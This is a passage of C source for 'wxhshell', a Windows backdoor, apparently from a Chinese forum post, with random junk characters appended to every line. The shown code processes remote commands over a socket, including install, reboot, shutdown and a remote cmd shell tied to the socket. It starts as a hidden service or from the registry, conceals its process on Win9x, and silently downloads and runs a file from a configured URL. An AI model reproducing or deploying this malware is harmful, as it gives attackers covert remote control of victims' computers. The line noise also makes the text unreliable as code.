  2.Z#\6Vj  
  // 帮助 ^;F/^ _  
  case '?': { {<{VJGY7T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8-<F4^i_i  
    break; S})f`X9_}  
  } qU#A,%kcV  
  // 安装 .'`aX 7{\  
  case 'i': { u.yR oZ8/!  
    if(Install()) U$5x#{AFp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?V$V >d  
    else 2B4.o*Q\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TyV~2pc N  
    break; L!:NL#M  
    } :|(YlNUv  
  // 卸载 )Ra:s>  
  case 'r': { eQi^d/yi  
    if(Uninstall()) L]MWdD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K^!#;,0  
    else $]LS!@ Rm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V< F &\  
    break; I3>8B  
    } N'y<<tTA  
  // 显示 wxhshell 所在路径 N7s0Ua'-v  
  case 'p': { Gbhw7 (&  
    char svExeFile[MAX_PATH]; -;gQy[U  
    strcpy(svExeFile,"\n\r"); '=;e# C`<{  
      strcat(svExeFile,ExeFile); F`4W5~`  
        send(wsh,svExeFile,strlen(svExeFile),0); x:-NTW -g  
    break; @A6iY  
    } s={>{,E  
  // 重启 KH,f'`  
  case 'b': { w!"A$+~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _jX,1+M  
    if(Boot(REBOOT)) `LoRudf_`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=V"tQ&d9U  
    else { J%"5?)[z  
    closesocket(wsh); _=0Ja S>M.  
    ExitThread(0); Osz=OO{  
    } #[bosb!R  
    break; N&G'i.w/  
    } D zD5n  
  // 关机 .iV=ybMT  
  case 'd': { -o~zb-E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J3y _JoS  
    if(Boot(SHUTDOWN)) uNI&U7_"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Z;8@O3  
    else { V(Pw|u" e  
    closesocket(wsh); +7%?p"gEY\  
    ExitThread(0); o<A-ETx<  
    } _1?uAQ3,  
    break; 29grbP  
    } HKbV@NW  
  // 获取shell R'Ue>k  
  case 's': { KAZ<w~55c  
    CmdShell(wsh); }-:B`:K&  
    closesocket(wsh); [NE!  
    ExitThread(0); >h%>s4W  
    break; U~=?I)Ni  
  } k(G6` dY  
  // 退出 @Nb/n  
  case 'x': { /$%&fo\[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `.;U)}Tn  
    CloseIt(wsh); KK 7}q<&i  
    break; 7[=G;2<  
    } 8qkQ*uJP  
  // 离开 eTjPztdJbx  
  case 'q': { z(c8]Wu#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9wCgJ$te  
    closesocket(wsh); %qcCv9  
    WSACleanup(); {3KY:%6qj  
    exit(1); &FmTT8"l  
    break; vKnZ==B  
        } *JImP9SE  
  } mD> J,E  
  } f-#:3k*7S  
PI L)(%X  
  // 提示信息 W'9{2h6u(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TAh'u|{u2  
} H,c1&hb/w  
  } *-*V>ntvT$  
_886>^b@  
  return; RCfeIHL  
} >A{e,&  
Z?S?O#FED  
// shell模块句柄 Ru d9l.n  
int CmdShell(SOCKET sock)  R<1%Gdz  
{ waz5+l28  
STARTUPINFO si; d(}? \|  
ZeroMemory(&si,sizeof(si)); Ag T)J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2wO8;wiA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wj3i*x$  
PROCESS_INFORMATION ProcessInfo; zATOFV  
char cmdline[]="cmd"; ag8)^p'9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v1i-O'  
  return 0; F ]X<q uuL  
} ;4-$C=&  
>#n"r1  
// 自身启动模式 $-^& AKc  
int StartFromService(void) q;R&valn  
{  cL .z{  
typedef struct i'CK/l.H  
{ YL`MLt4MC  
  DWORD ExitStatus; D|U bh]  
  DWORD PebBaseAddress; 'O 7:=l  
  DWORD AffinityMask; _fgsHx>l7  
  DWORD BasePriority; (soTkH:#  
  ULONG UniqueProcessId; c^"4l 9w  
  ULONG InheritedFromUniqueProcessId; nv0D4 t  
}   PROCESS_BASIC_INFORMATION; 851BOkRal4  
q/w5Dx|:  
PROCNTQSIP NtQueryInformationProcess; tHaHBx1P  
bkR~>F]FAu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0-OKbw5%=b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CC@U'9]bH  
<gX({FA  
  HANDLE             hProcess; A/9<} m  
  PROCESS_BASIC_INFORMATION pbi; kqX %y  
noaR3)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MYV3</Xj*  
  if(NULL == hInst ) return 0; 1 39T*0C  
k]gPMhe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p".wqg*W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q%k&O9C2]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XU<owk  
h('5x,G%  
  if (!NtQueryInformationProcess) return 0; !m=Js"  
GYy8kp84  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3,Z;J5VL4!  
  if(!hProcess) return 0; )y:M8((%  
*eD[[HbKX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l %zbx"%x  
iiuT:r  
  CloseHandle(hProcess); x]Nx,tt  
HQF@@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oFyB-vpYQV  
if(hProcess==NULL) return 0; "Cvr("'O  
;L",K?6#  
HMODULE hMod; |j/Y#.k;{0  
char procName[255]; #N`MzmwS  
unsigned long cbNeeded; =MJRQ V67  
k 5% )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S_*Gv O  
rpEIDhHv  
  CloseHandle(hProcess); [ZG>FJDl8  
 3bd`q $  
if(strstr(procName,"services")) return 1; // 以服务启动 w&}<b%l  
b&,Z mDJh  
  return 0; // 注册表启动 g~|vmVBua  
} ~f[;(?39xZ  
DdISJWc'`5  
// 主模块 TqS s*as5  
int StartWxhshell(LPSTR lpCmdLine) xIc||o$  
{ cJ?,\@uuP  
  SOCKET wsl; FW2x  
BOOL val=TRUE; ( !m6>m2  
  int port=0; <  j  
  struct sockaddr_in door; g<DXJ7o  
_H}hK kG+  
  if(wscfg.ws_autoins) Install(); 3GL?&(eU;  
Y$, ++wx  
port=atoi(lpCmdLine); k!z.6di  
67H?xsk@n  
if(port<=0) port=wscfg.ws_port; REcKfJTj  
bFG?mG:  
  WSADATA data; n}9<7e~/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9I5AYa?  
L|D9+u L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   npytb*[|c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zSMM?g^T  
  door.sin_family = AF_INET; n<)A5UB5-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 39[ylR|\  
  door.sin_port = htons(port); 2ER_?y  
37IHn6r\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $\k)Y(&  
closesocket(wsl); S^i8VYK,C5  
return 1; K5<2jl3S  
} it>Bf;  
B`nI] _  
  if(listen(wsl,2) == INVALID_SOCKET) { qxyY2&  
closesocket(wsl); 3z#> 1HD$  
return 1; ut]&3f''  
} iBWEZw)  
  Wxhshell(wsl); ME)='~E  
  WSACleanup(); lHliMBSc  
Bn.R,B0PL  
return 0; E@Ewx;P5  
!z :j-gT3  
} 0%|)=T3Slu  
5KTFf6Uq  
// 以NT服务方式启动 #5^OO ou|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fQ.S ,lMe  
{ 7N5M=f.DS(  
DWORD   status = 0; 2cS94h  
  DWORD   specificError = 0xfffffff; -)&lsFF  
G&Yo2aADR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HsRoiqo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mICx9oz]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DP*$@5  
  serviceStatus.dwWin32ExitCode     = 0; .4w"3>  
  serviceStatus.dwServiceSpecificExitCode = 0; p_zVrlVb  
  serviceStatus.dwCheckPoint       = 0; V%t_,AT  
  serviceStatus.dwWaitHint       = 0; I@Y k &aU  
B"88 .U}$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iYdg1  
  if (hServiceStatusHandle==0) return; ;$]a.9 -  
Hit )mwfYE  
status = GetLastError(); /r&4< @  
  if (status!=NO_ERROR) -J'ked  
{ pp#!sRUKPV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %k"hzjXAw  
    serviceStatus.dwCheckPoint       = 0; &liFUP?   
    serviceStatus.dwWaitHint       = 0; 1Qjc*+JzO.  
    serviceStatus.dwWin32ExitCode     = status; K0@bh/i/^  
    serviceStatus.dwServiceSpecificExitCode = specificError; :YLYCVi|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GsD?Z%t~%  
    return; o5+7Lt]  
  } P3a]*>.,  
<)J@7@!P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1} _<qk9  
  serviceStatus.dwCheckPoint       = 0; q{[y4c1bG{  
  serviceStatus.dwWaitHint       = 0; ;<cCT!A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  "}[ ]R  
} OB+cE4$  
kA2)T,s74  
// 处理NT服务事件,比如:启动、停止 HFYe@2r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RN&8dsreZp  
{ `USze0"t0:  
switch(fdwControl) Q2m 5&yy@s  
{ .G<Or`K^i  
case SERVICE_CONTROL_STOP: l;h -`( 11  
  serviceStatus.dwWin32ExitCode = 0; \f]w'qiW5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nkN2Bqt$  
  serviceStatus.dwCheckPoint   = 0; C(KV5c  
  serviceStatus.dwWaitHint     = 0; wk=s3^  
  { x6\^dVR}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gA 5DEit  
  } |llmq'Q  
  return; 8H3O6ro  
case SERVICE_CONTROL_PAUSE: hO$29_^"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xkkG#n)  
  break; hPKutx  
case SERVICE_CONTROL_CONTINUE: 0G'v4Vj0'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sAK&^g  
  break; dJb7d`  
case SERVICE_CONTROL_INTERROGATE: l{kacfk#  
  break; i4SWFa``  
}; >RiU/L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~X;sa,)L1+  
}  -l"8L;`  
xi.QHKBZaH  
// 标准应用程序主函数 %u Dd#+{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~jWpD7px  
{ UU#$Kt*frR  
idS+&:'  
// 获取操作系统版本 )Dcee@/7S  
OsIsNt=GetOsVer(); Ghe@m6|D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \pI ,6$'  
3m~3l d  
  // 从命令行安装 )%: W;H  
  if(strpbrk(lpCmdLine,"iI")) Install(); kWbY&]ZO  
(5RZLRn  
  // 下载执行文件 &k(tDP  
if(wscfg.ws_downexe) {  |>Pv2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %P *b&H^0  
  WinExec(wscfg.ws_filenam,SW_HIDE); sBE@{w%  
} 6iEA._y  
V%^d~^m,H  
if(!OsIsNt) { 7=A @P  
// 如果时win9x,隐藏进程并且设置为注册表启动 tg~7^(s  
HideProc(); )_ l( WF.  
StartWxhshell(lpCmdLine); 'E\qqE[;  
} eW_EWVH  
else nxuR^6 Ai  
  if(StartFromService()) H_l>L9/\  
  // 以服务方式启动 B+'w'e$6  
  StartServiceCtrlDispatcher(DispatchTable); Lf Y[Z4  
else "?J f#  
  // 普通方式启动 D]V&1n  
  StartWxhshell(lpCmdLine); AUaupNN  
$BOIa  
return 0; 25;`yB$  
}
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只看该作者 1 发表于: 2006-10-10
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